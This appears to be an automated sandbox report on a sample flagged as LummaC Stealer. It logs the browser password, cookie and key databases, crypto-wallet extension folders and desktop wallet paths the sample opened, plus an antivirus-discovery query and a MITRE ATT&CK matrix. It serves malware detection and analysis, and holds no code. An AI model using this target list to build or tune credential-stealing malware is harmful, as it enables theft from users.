Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_00402FD8 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00402FD8

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe

Code function: 7_2_00007FF70C2767A8 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

7_2_00007FF70C2767A8

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6664, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6664, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 6664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Credential API Hooking	13 File and Directory Discovery	Remote Desktop Protocol	21 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	13 Command and Scripting Interpreter	Logon Script (Windows)	211 Process Injection	3 Obfuscated Files or Information	Security Account Manager	232 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	331 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
